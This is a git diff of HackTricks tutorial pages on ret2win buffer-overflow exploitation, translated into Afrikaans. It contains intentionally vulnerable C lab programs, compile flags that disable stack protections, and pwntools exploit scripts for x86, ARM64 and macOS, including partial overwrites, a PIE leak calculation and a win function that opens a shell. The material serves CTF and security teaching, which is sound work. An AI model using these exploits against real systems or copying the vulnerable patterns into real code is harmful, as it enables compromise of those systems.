+**Ret2win**-uitdagings is ’n gewilde kategorie in **Capture The Flag (CTF)**-kompetisies, veral in binary-exploitation-take. Die doel is om ’n kwesbaarheid uit te buit om ’n funksie in die binary uit te voer wat andersins nie opgeroep sou word nie, dikwels genaamd `win` of `flag`. Die uitdaging behels gewoonlik dat die gestoorde **return address** op die stack oorskryf word sodat beheer oor die vloei na daardie funksie gaan.[[1]](#references)
-### C Example
-
-Consider a simple C program with a vulnerability and a `win` function that we intend to call:
+### C-voorbeeld
+Beskou ’n eenvoudige C-program met ’n kwesbaarheid en ’n `win`-funksie wat ons wil oproep:
```c
#include
#include
void win() {
- printf("Congratulations! You've called the win function.\n");
+printf("Congratulations! You've called the win function.\n");
}
void vulnerable_function() {
- char buf[64];
- gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
+char buf[64];
+gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}
int main() {
- vulnerable_function();
- return 0;
+vulnerable_function();
+return 0;
}
```
-
-To compile this program without stack protections and with **ASLR** disabled, you can use the following command:
-
+Om hierdie program sonder ’n stack canary en sonder PIE te compileer, gebruik die volgende opdrag. `-no-pie` gee die hoofuitvoerbare lêer ’n vaste laa adres, maar dit **deaktiveer** nie stelselwye ASLR vir shared libraries of die stack nie:[[1]](#references)
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
+- `-m32`: Kompileer die program as ’n 32-bis binary (dit is opsioneel, maar algemeen in CTF-uitdagings).
+- `-fno-stack-protector`: Deaktiveer beskerming teen stack overflows.
+- `-z execstack`: Laat die uitvoering van code op die stack toe. Ret2win vereis nie ’n uitvoerbare stack nie, dus is hierdie flag slegs nuttig wanneer ’n doelbewus minder beveiligde lab-binary geskep word.
+- `-no-pie`: Deaktiveer Position Independent Executable om te verseker dat die adres van die `win`-funksie nie verander nie.
+- `-o vulnerable`: Benoem die uitvoerlêer `vulnerable`.
-- `-m32`: Compile the program as a 32-bit binary (this is optional but common in CTF challenges).
-- `-fno-stack-protector`: Disable protections against stack overflows.
-- `-z execstack`: Allow execution of code on the stack.
-- `-no-pie`: Disable Position Independent Executable to ensure that the address of the `win` function does not change.
-- `-o vulnerable`: Name the output file `vulnerable`.
-
-### Python Exploit using Pwntools
-
-For the exploit, we'll use **pwntools**, a powerful CTF framework for writing exploits. The exploit script will create a payload to overflow the buffer and overwrite the return address with the address of the `win` function.
+### Python Exploit met Pwntools
+Vir die exploit sal ons **pwntools**, ’n CTF-framework vir die skryf van exploits, gebruik. Die script skep ’n payload wat die buffer laat oorloop en die return address met die adres van `win` oorskryf.[[1]](#references)
```python
from pwn import *
@@ -64,50 +59,50 @@ payload = b'A' * 68 + win_addr
p.sendline(payload)
p.interactive()
```
-
-To find the address of the `win` function, you can use **gdb**, **objdump**, or any other tool that allows you to inspect binary files. For instance, with `objdump`, you could use:
-
+Om die adres van die `win`-funksie te vind, kan jy **gdb**, **objdump** of enige ander hulpmiddel gebruik waarmee jy binêre lêers kan inspekteer. Byvoorbeeld, met `objdump` kan jy die volgende gebruik:
```sh
objdump -d vulnerable | grep win
```
-
-This command will show you the assembly of the `win` function, including its starting address.
+This command will show you the assembly of the `win` function, including its starting address.
The Python script sends a carefully crafted message that, when processed by the `vulnerable_function`, overflows the buffer and overwrites the return address on the stack with the address of `win`. When `vulnerable_function` returns, instead of returning to `main` or exiting, it jumps to `win`, and the message is printed.
## Protections
-- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded. In some cases, when the function that causes the overflow is `read` or similar, you can do a **Partial Overwrite** of 1 or 2 bytes to change the return address to be the win function. Because of how ASLR works, the last three hex nibbles are not randomized, so there is a **1/16 chance** (1 nibble) to get the correct return address.
-- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed.
-
-## Other examples & References
-
-- [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
-- [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html)
- - 32bit, no ASLR
-- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html)
- - 64 bits with ASLR, with a leak of the bin address
-- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
- - 64 bits, no ASLR
-- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
- - 32 bits, no ASLR, double small overflow, first to overflow the stack and enlarge the size of the second overflow
-- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- - 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win)
-- [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
- - 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function
-- [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html)
- - 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function
-- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- - The program is only validating the last byte of a number to check for the size of the input, therefore it's possible to add any zie as long as the last byte is inside the allowed range. Then, the input creates a buffer overflow exploited with a ret2win.
-- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
- - 64 bit, relro, no canary, nx, pie. Partial overwrite to call the win function (ret2win)
-- [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
- - arm64, PIE, it gives a PIE leak the win function is actually 2 functions so ROP gadget that calls 2 functions
-- [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
- - ARM64, off-by-one to call a win function
+- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) must be disabled for the function address to remain fixed across executions, or the exploit needs an address leak or another PIE bypass. With a suitable layout—for example, a `read` call that permits an exact one- or two-byte overwrite—a **partial overwrite** can preserve the randomized high bytes and redirect the saved return address within the same mapped image. Page alignment keeps the lowest three hexadecimal nibbles stable, but the success probability depends on how many randomized bits the overwrite must guess; it is not universally `1/16`.[[7]](#references)[[8]](#references)[[10]](#references)
+- [**Stack canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) must also be absent, leaked, or bypassed; otherwise the function aborts before using the corrupted return address.
+
+The additional references below provide worked ret2win examples across 32-bit, 64-bit, format-string, integer-overflow, PIE, partial-overwrite, and ARM64 scenarios.[[2]](#references)[[3]](#references)[[4]](#references)[[5]](#references)[[6]](#references)[[9]](#references)[[11]](#references)[[12]](#references)
+
+## References
+
+- [1] [ir0nstone – Ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
+- [2] [Nightmare – tamu19 pwn1](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html)
+- 32bit, no ASLR
+- [3] [Nightmare – csaw16 warmup](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html)
+- 64 bits with ASLR, with a leak of the bin address
+- [4] [Nightmare – csaw18 getit](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
+- 64 bits, no ASLR
+- [5] [Nightmare – tu17 vulnchat](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
+- 32 bits, no ASLR, double small overflow, first to overflow the stack and enlarge the size of the second overflow
+- [6] [Nightmare – backdoor17 bbpwn](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
+- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win)
+- [7] [Nightmare – tamu19 pwn2](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
+- 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function
+- [8] [Nightmare – tuctf17 vulnchat2](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html)
+- 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function
+- [9] [Nightmare – integer overflow post](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
+- The program validates only the last byte of a number when checking the input size, so a larger size can pass when its low byte is inside the allowed range. The resulting buffer overflow is exploited with ret2win.
+- [10] [7rocky – fno-stack-protector (Black Hat CTF)](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
+- 64 bit, relro, no canary, nx, pie. Partial overwrite to call the win function (ret2win)
+- [11] [8kSec – ARM64 Reversing and Exploitation Part 3: A Simple ROP Chain](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
+- arm64, PIE, it gives a PIE leak the win function is actually 2 functions so ROP gadget that calls 2 functions
+- [12] [8kSec – ARM64 Reversing and Exploitation Part 9: Exploiting an Off-by-One Overflow](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
+- ARM64, off-by-one to call a win function
## ARM64 Example
+
{{#ref}}
ret2win-arm64.md
{{#endref}}
diff --git a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
index 410cf5cf0ef..18c07312d6c 100644
--- a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
+++ b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
@@ -2,92 +2,109 @@
{{#include ../../../banners/hacktricks-training.md}}
-Find an introduction to arm64 in:
+Vind 'n inleiding tot arm64 by:
+
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
-## Code
-
+## Kode
```c
#include
#include
void win() {
- printf("Congratulations!\n");
+printf("Congratulations!\n");
}
void vulnerable_function() {
- char buffer[64];
- read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
+char buffer[64];
+read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
- vulnerable_function();
- return 0;
+vulnerable_function();
+return 0;
}
```
-
-Compile without pie and canary:
-
+Kompileer sonder pie en canary:
```bash
-clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
+clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
```
+- Die ekstra vlag `-mbranch-protection=none` deaktiveer AArch64 Branch Protection (PAC/BTI). As jou toolchain standaard PAC of BTI aktiveer, verseker dit dat die lab reproduceerbaar bly. Om te kontroleer of ’n gecompileerde binary PAC/BTI gebruik, kan jy:
+- Soek vir AArch64 GNU properties:
+- `readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'`
+- Inspekteer prologues/epilogues vir `paciasp`/`autiasp` (PAC) of vir `bti c` landing pads (BTI):
+- `objdump -d ret2win | head -n 40`
+
+### Vinnige feite oor AArch64 calling convention
-## Finding the offset
+- Die link register is `x30` (ook bekend as `lr`), en funksies stoor gewoonlik `x29`/`x30` met `stp x29, x30, [sp, #-16]!` en herstel hulle met `ldp x29, x30, [sp], #16; ret`.
+- Dit beteken dat die gestoorde return address by `sp+8` relatief tot die frame base geleë is. Met ’n `char buffer[64]` wat onder geplaas is, is die gewone overwrite-afstand tot by die gestoorde `x30` 64 (buffer) + 8 (gestoorde `x29`) = 72 bytes — presies wat ons hieronder sal vind.
+- Die stack pointer moet by funksiegrense 16-byte aligned bly. As jy later ROP chains vir meer komplekse scenario’s bou, behou die SP alignment, anders kan jy op function epilogues crash.
-### Pattern option
+### Waarom partial overwrites so goed op AArch64 werk
-This example was created using [**GEF**](https://github.com/bata24/gef):
+- AArch64 Linux is gewoonlik **little-endian**, dus is die eerste byte wat jy in memory overwrite die **least significant byte** van die gestoorde `x30`. Daarom kan ’n kort overwrite met `p8()`/`p16()` die return address herlei sonder om aan die hoër bytes te raak.
+- Op PIE binaries bly die page offset konstant ná relocation. In praktyk word die laagste **12 bits** van ’n funksie-adres deur ASLR behou, dus kan ’n **1-byte overwrite** slegs binne dieselfde `0x100`-venster beweeg, en ’n **2-byte overwrite** slegs binne dieselfde `0x10000`-venster.
+- Vergelyk dus die oorspronklike gestoorde return address met die teiken-`win()`-adres voordat jy ’n partial ret2win probeer. As hulle buite daardie lae bytes verskil, is ’n 1- of 2-byte overwrite nie genoeg nie en benodig jy óf ’n leak óf ’n groter overwrite primitive.
-Stat gdb with gef, create pattern and use it:
+## Vind die offset
+### Pattern-opsie
+
+Hierdie voorbeeld is met [**GEF**](https://github.com/bata24/gef) geskep:
+
+Begin gdb met gef, skep ’n pattern en gebruik dit:
```bash
gdb -q ./ret2win
pattern create 200
run
```
-
-arm64 will try to return to the address in the register x30 (which was compromised), we can use that to find the pattern offset:
-
+arm64 sal probeer om terug te keer na die adres in register x30 (wat gekompromitteer is); ons kan dit gebruik om die patroon-offset te vind:
```bash
pattern search $x30
```
-
-**The offset is 72 (9x48).**
-
-### Stack offset option
+**Die offset is 72 (9x48).**
-Start by getting the stack address where the pc register is stored:
+As jy **pwntools** vir 64-bit-patrone verkies, genereer die sikliese invoer met **8-byte unique subsequences**. Die verstekwaarde `n=4` werk steeds dikwels, maar op AArch64 is dit skoner om direk by die 8-byte gestoorde `x30` te pas:[[4]](#references)
+```bash
+python3 - << 'PY'
+from pwn import *
+pat = cyclic(200, n=8)
+print(pat.decode())
+# Later, after the crash:
+# print(cyclic_find(p64(0x616161616161616a), n=8))
+PY
+```
+### Stack offset-opsie
+Begin deur die stack-adres te kry waar die pc-register gestoor word:
```bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
```
-
-Now set a breakpoint after the `read()` and continue until the `read()` is executed and set a pattern such as 13371337:
-
+Stel nou ’n breakpoint ná die `read()` en gaan voort totdat die `read()` uitgevoer is, en stel ’n patroon soos 13371337:
```
b *vulnerable_function+28
c
```
-
-Find where this pattern is stored in memory:
+Vind waar hierdie patroon in die geheue gestoor word:
-Then: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
+Dan: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
@@ -95,22 +112,21 @@ Then: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
### Regular
-Get the address of the **`win`** function:
-
+Kry die adres van die **`win`**-funksie:
```bash
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 :
```
-
Exploit:
-
```python
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
+# Optional but nice for AArch64
+context.arch = 'aarch64'
# Prepare the payload
offset = 72
@@ -124,13 +140,13 @@ p.send(payload)
print(p.recvline())
p.close()
```
-
-### Off-by-1
+### Partial overwrite (2 bytes)
-Actually this is going to by more like a off-by-2 in the stored PC in the stack. Instead of overwriting all the return address we are going to overwrite **only the last 2 bytes** with `0x06c4`.
+Dit is eintlik ’n **off-by-2 / 2-byte partial overwrite** van die saved PC op die stack. In plaas daarvan om die volledige return address te oorskryf, vervang ons slegs die **laaste 2 bytes** met `0x06c4`.
+’n **True off-by-one** werk slegs wanneer die saved `x30` en `win()` net in die **laagste byte** verskil. Byvoorbeeld, as die saved return op `...06a4` eindig en `win()` op `...06c4`, sou `p8(0xc4)` voldoende wees. In die binary wat hier getoon word, verander die laagste **twee** bytes, dus is `p16()` die korrekte primitive.
```python
from pwn import *
@@ -150,22 +166,28 @@ p.send(payload)
print(p.recvline())
p.close()
```
-
-You can find another off-by-one example in ARM64 in [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), which is a real off-by-**one** in a fictitious vulnerability.
+Jy kan nog ’n off-by-one-voorbeeld in ARM64 vind by [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), wat ’n werklike off-by-**one** in ’n fiktiewe vulnerability is.[[5]](#references)
-## With PIE
+## Met PIE
> [!TIP]
-> Compile the binary **without the `-no-pie` argument**
+> Compileer die binary **sonder die `-no-pie`-argument**
### Off-by-2
-Without a leak we don't know the exact address of the winning function but we can know the offset of the function from the binary and knowing that the return address we are overwriting is already pointing to a close address, it's possible to leak the offset to the win function (**0x7d4**) in this case and just use that offset:
+Sonder ’n leak ken ons nie die presiese adres van die winning function nie, maar ons kan die offset van die function vanaf die binary ken en, omdat die return address wat ons oorskryf reeds binne dieselfde PIE image wys, kan ons dit dikwels redirect deur slegs die lae bytes te verander. In hierdie voorbeeld is die relevante offset na `win()` **0x7d4**, en ’n 2-byte overwrite is voldoende omdat die saved return address en `win()` steeds dieselfde hoër bytes deel.
-
+’n Vinnige manier om dit te sanity-check voordat jy die exploit skryf, is om albei adresse in die debugger te vergelyk en slegs die lae bytes te behou wat jy werklik moet verander:
+```text
+saved x30 : 0x0000aaaaaa00079c
+win() : 0x0000aaaaaa0007d4
+^^^^
+```
+Slegs die laaste twee bytes verskil hier, dus is `p16(0x07d4)` voldoende. As jou target soos `0x0000aaaaab1207d4` gelyk het, sou die hoër bytes ook verander het en sou dieselfde truuk misluk het.
+
```python
from pwn import *
@@ -185,5 +207,308 @@ p.send(payload)
print(p.recvline())
p.close()
```
+## macOS
+
+### Kode
+```c
+#include
+#include
+#include
+
+__attribute__((noinline))
+void win(void) {
+system("/bin/sh"); // <- **our target**
+}
+
+void vulnerable_function(void) {
+char buffer[64];
+// **BOF**: reading 256 bytes into a 64B stack buffer
+read(STDIN_FILENO, buffer, 256);
+}
+
+int main(void) {
+printf("win() is at %p\n", win);
+vulnerable_function();
+return 0;
+}
+```
+Kompileer sonder canary (in macOS kan jy nie PIE deaktiveer nie):
+```bash
+clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security
+```
+Voer uit sonder ASLR (alhoewel ons ’n address leak het, het ons dit nie nodig nie):
+```bash
+env DYLD_DISABLE_ASLR=1 ./bof_macos
+```
+> [!TIP]
+> Dit is nie moontlik om NX in macOS te deaktiveer nie, omdat hierdie modus in arm64 op hardewarevlak geïmplementeer is en jy dit dus nie kan deaktiveer nie. Daarom sal jy nie voorbeelde met shellcode in die stack in macOS vind nie.
+
+### arm64e / PAC-waarskuwing
+
+Op Apple Silicon, maak seker dat jy weet of jy ’n gewone **`arm64`**-binary of ’n **`arm64e`**-slice toets. Apple gebruik **Pointer Authentication (PAC)** op `arm64e`, dus kan ’n naïewe oorskrywing van `x30` crash voordat jou `win()`-funksie loop, met ’n boodskap soortgelyk aan **"possible pointer authentication failure"**. Vir ’n basiese training lab, verkies ’n gewone **`arm64`**-slice; vir werklike targets, aanvaar dat jy PAC-compliant moet bly en reeds-ondertekende code/data-pointers moet hergebruik.[[3]](#references)
+
+Vinnige kontroles:
+```bash
+file ./bof_macos
+lipo -archs ./bof_macos
+otool -hv -arch arm64e ./bof_macos 2>/dev/null | head
+```
+As jy wel ’n `arm64e` slice vind, kyk na [hierdie bladsy oor Mach-O slices en `arm64e`](../../../macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md).
+
+### Vind die offset
+
+- Genereer ’n pattern:
+```bash
+python3 - << 'PY'
+from pwn import *
+print(cyclic(200).decode())
+PY
+```
+- Voer die program uit en voer die patroon in om ’n crash te veroorsaak:
+```bash
+lldb ./bof_macos
+(lldb) env DYLD_DISABLE_ASLR=1
+(lldb) run
+# paste the 200-byte cyclic string, press Enter
+```
+- Gaan register `x30` (die return address) na om die offset te vind:
+```bash
+(lldb) register read x30
+```
+- Gebruik `cyclic -l ` om die presiese offset te vind:
+```bash
+python3 - << 'PY'
+from pwn import *
+print(cyclic_find(0x61616173))
+PY
+
+# Replace 0x61616173 with the 4 first bytes from the value of x30
+```
+- Dit lewer die offset `72` op. Deur die adres van `win()` daar te plaas, word die funksie uitgevoer en ’n shell oopgemaak wanneer ASLR gedeaktiveer is.
+
+### Exploit
+```python
+#!/usr/bin/env python3
+from pwn import *
+import re
+
+# Load the binary
+binary_name = './bof_macos'
+
+# Start the process
+p = process(binary_name, env={"DYLD_DISABLE_ASLR": "1"})
+
+# Read the address printed by the program
+output = p.recvline().decode()
+print(f"Received: {output.strip()}")
+
+# Extract the win() address using regex
+match = re.search(r'win\(\) is at (0x[0-9a-fA-F]+)', output)
+if not match:
+print("Failed to extract win() address")
+p.close()
+exit(1)
+
+win_address = int(match.group(1), 16)
+print(f"Extracted win() address: {hex(win_address)}")
+
+# Offset calculation:
+# Buffer starts at sp; saved x30 follows the 64-byte (0x40) buffer and 8-byte saved x29
+offset = 64 + 8 # 72 bytes total to reach the return address
+
+# ARM64 addresses are eight bytes; pack the directly leaked win() address
+payload = b'A' * offset + p64(win_address)
+print(f"Payload length: {len(payload)}")
+
+# Send the payload
+p.send(payload)
+
+# Drop to an interactive session
+p.interactive()
+```
+## macOS - 2de voorbeeld
+```c
+#include
+#include
+#include
+#include
+
+__attribute__((noinline))
+void leak_anchor(void) {
+puts("leak_anchor reached");
+}
+
+__attribute__((noinline))
+void win(void) {
+puts("Killed it!");
+system("/bin/sh");
+exit(0);
+}
+
+__attribute__((noinline))
+void vuln(void) {
+char buf[64];
+FILE *f = fopen("/tmp/exploit.txt", "rb");
+if (!f) {
+puts("[*] Please create /tmp/exploit.txt with your payload");
+return;
+}
+// Vulnerability: no bounds check → stack overflow
+fread(buf, 1, 512, f);
+fclose(f);
+printf("[*] Copied payload from /tmp/exploit.txt\n");
+}
+
+int main(void) {
+// Unbuffered stdout so leaks are immediate
+setvbuf(stdout, NULL, _IONBF, 0);
+
+// Leak a different function, not main/win
+printf("[*] LEAK (leak_anchor): %p\n", (void*)&leak_anchor);
+
+// Sleep 3s
+sleep(3);
+
+vuln();
+return 0;
+}
+```
+Kompileer sonder canary (in macOS kan jy nie PIE deaktiveer nie):
+```bash
+clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security
+```
+### Find the offset
+
+- Genereer ’n pattern in die lêer `/tmp/exploit.txt`:
+```bash
+python3 - << 'PY'
+from pwn import *
+with open("/tmp/exploit.txt", "wb") as f:
+f.write(cyclic(200))
+PY
+```
+- Begin die program om 'n crash te veroorsaak:
+```bash
+lldb ./bof_macos
+(lldb) run
+```
+- Kontroleer register `x30` (die terugkeeradres) om die offset te vind:
+```bash
+(lldb) register read x30
+```
+- Gebruik `cyclic -l ` om die presiese offset te vind:
+```bash
+python3 - << 'PY'
+from pwn import *
+print(cyclic_find(0x61616173))
+PY
+# Replace 0x61616173 with the 4 first bytes from the value of x30
+```
+- Hierdie tweede binary lewer ook ’n offset van `72`. Deur die opgeloste adres van `win()` daar te plaas, word die funksie uitgevoer en ’n shell oopgemaak; anders as in die eerste voorbeeld, word hierdie PIE-relative adres bereken vanaf die gelekte `leak_anchor()`-adres.
+
+### Bereken die adres van win()
+
+- Die binary is PIE. Deur die leak van die `leak_anchor()`-funksie te gebruik en die offset van die `win()`-funksie vanaf die `leak_anchor()`-funksie te ken, kan ons die adres van die `win()`-funksie bereken.
+```bash
+objdump -d bof_macos | grep -E 'leak_anchor|win'
+
+0000000100000460 <_leak_anchor>:
+000000010000047c <_win>:
+```
+- Die offset is `0x47c - 0x460 = 0x1c`
+
+### Exploit
+```python
+#!/usr/bin/env python3
+from pwn import *
+import re
+import os
+
+# Load the binary
+binary_name = './bof_macos'
+# Start the process
+p = process(binary_name)
+
+# Read the address printed by the program
+output = p.recvline().decode()
+print(f"Received: {output.strip()}")
+
+# Extract the leak_anchor() address using regex
+match = re.search(r'LEAK \(leak_anchor\): (0x[0-9a-fA-F]+)', output)
+if not match:
+print("Failed to extract leak_anchor() address")
+p.close()
+exit(1)
+leak_anchor_address = int(match.group(1), 16)
+print(f"Extracted leak_anchor() address: {hex(leak_anchor_address)}")
+
+# Calculate win() address
+win_address = leak_anchor_address + 0x1c
+print(f"Calculated win() address: {hex(win_address)}")
+
+# Reuse the confirmed frame layout in this PIE example:
+# 64-byte (0x40) buffer + 8-byte saved x29, followed by saved x30
+offset = 64 + 8 # 72 bytes total to reach the return address
+
+# ARM64 addresses are eight bytes; pack the runtime win() address calculated from the PIE leak
+payload = b'A' * offset + p64(win_address)
+print(f"Payload length: {len(payload)}")
+
+# Write the payload to /tmp/exploit.txt
+with open("/tmp/exploit.txt", "wb") as f:
+f.write(payload)
+
+print("[*] Payload written to /tmp/exploit.txt")
+
+# Drop to an interactive session
+p.interactive()
+```
+## Aantekeninge oor moderne AArch64-hardening (PAC/BTI) en ret2win
+
+- Huidige GCC/Clang-toolchains ondersteun `-mbranch-protection=standard`, wat die algemene PAC/BTI-hardeningprofiel aktiveer. Vir labs, hou aan om `-mbranch-protection=none` te gebruik sodat jou gestoorde-`x30`-oorskrywing soos ’n klassieke ret2win werk.[[1]](#references)
+- As die binary met AArch64 Branch Protection gekompileer is, kan jy `paciasp`/`autiasp` of `bti c` in funksieprologs/-epiloge sien. Sommige geharde entries gebruik `paciasp`/`pacibsp` as die landingsinstruksie in plaas van ’n aparte `bti c`, dus moenie net vir `bti` grep nie.[[2]](#references) In daardie geval:
+- Om terug te keer na ’n adres wat nie ’n geldige BTI-landingspad is nie, kan ’n `SIGILL` veroorsaak. Teiken verkieslik die presiese funksie-entry wat `bti c` bevat.
+- `pac-ret` teken funksies wat werklik die return address na memory spill, dus word non-leaf-funksies gewoonlik eerste geraak. ’n Leaf `win()` kan steeds sonder PAC wees, tensy die binary met `pac-ret+leaf` gebou is.
+- As PAC vir returns geaktiveer is, kan naïewe return-address-oorskrywings misluk omdat die epilogue `x30` authenticate. Vir leerscenario’s, bou weer met `-mbranch-protection=none` (hierbo getoon). Wanneer jy werklike targets attack, verkies non-return hijacks (bv. function pointer-oorskrywings) of bou ROP wat nooit ’n `autiasp`/`ret`-paar uitvoer wat jou forged LR authenticate nie.
+- Om features vinnig na te gaan:
+- `readelf --notes -W ./ret2win` en soek na `AARCH64_FEATURE_1_BTI` / `AARCH64_FEATURE_1_PAC`-notes.
+- `objdump -d ./ret2win | head -n 40` en soek na `bti c`, `paciasp`, `autiasp`.
+- `readelf -n ./ret2win | grep -A1 'AArch64 feature'` is nuttig om te bevestig of die linker werklik die GNU property note behou het.
+
+## Loop op nie-ARM64-hosts (qemu-user vinnige wenk)
+
+As jy op x86_64 is maar AArch64 wil oefen:
+```bash
+# Install qemu-user and AArch64 libs (Debian/Ubuntu)
+sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
+
+# Run the binary with the AArch64 loader environment
+qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
+
+# Debug with GDB (qemu-user gdbstub)
+qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
+# In another terminal
+gdb-multiarch ./ret2win -ex 'set architecture arm64' -ex 'target remote :1234'
+# If symbols for shared libraries are missing inside GDB
+(gdb) set solib-search-path /usr/aarch64-linux-gnu/lib/
+```
+### Verwante HackTricks-bladsye
+
+
+{{#ref}}
+../../rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
+{{#endref}}
+
+
+{{#ref}}
+../../rop-return-oriented-programing/ret2lib/ret2lib-printf-leak-arm64.md
+{{#endref}}
+
+## References
+- [1] [GCC AArch64-opsies (`-mbranch-protection=standard`, `pac-ret`, `bti`)](https://gcc.gnu.org/onlinedocs/gcc/AArch64-Options.html)
+- [2] [Aktivering van PAC en BTI op AArch64 vir Linux - Arm Community](https://developer.arm.com/community/arm-community-blogs/b/architectures-and-processors-blog/posts/enabling-pac-and-bti-on-aarch64)
+- [3] [Maak jou toepassing gereed om met pointer authentication te werk - Apple Developer Documentation](https://developer.apple.com/documentation/security/preparing-your-app-to-work-with-pointer-authentication)
+- [4] [pwntools cyclic-dokumentasie (`cyclic(..., n=8)` / `cyclic_find(..., n=8)`)](https://docs.pwntools.com/en/stable/util/cyclic.html)
+- [5] [8kSec - ARM64 Reversing and Exploitation Deel 9: Uitbuiting van ’n Off-By-One Overflow-kwesbaarheid](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
deleted file mode 100644
index a786dea8ea2..00000000000
--- a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
+++ /dev/null
@@ -1,236 +0,0 @@
-# Stack Pivoting - EBP2Ret - EBP chaining
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Basic Information
-
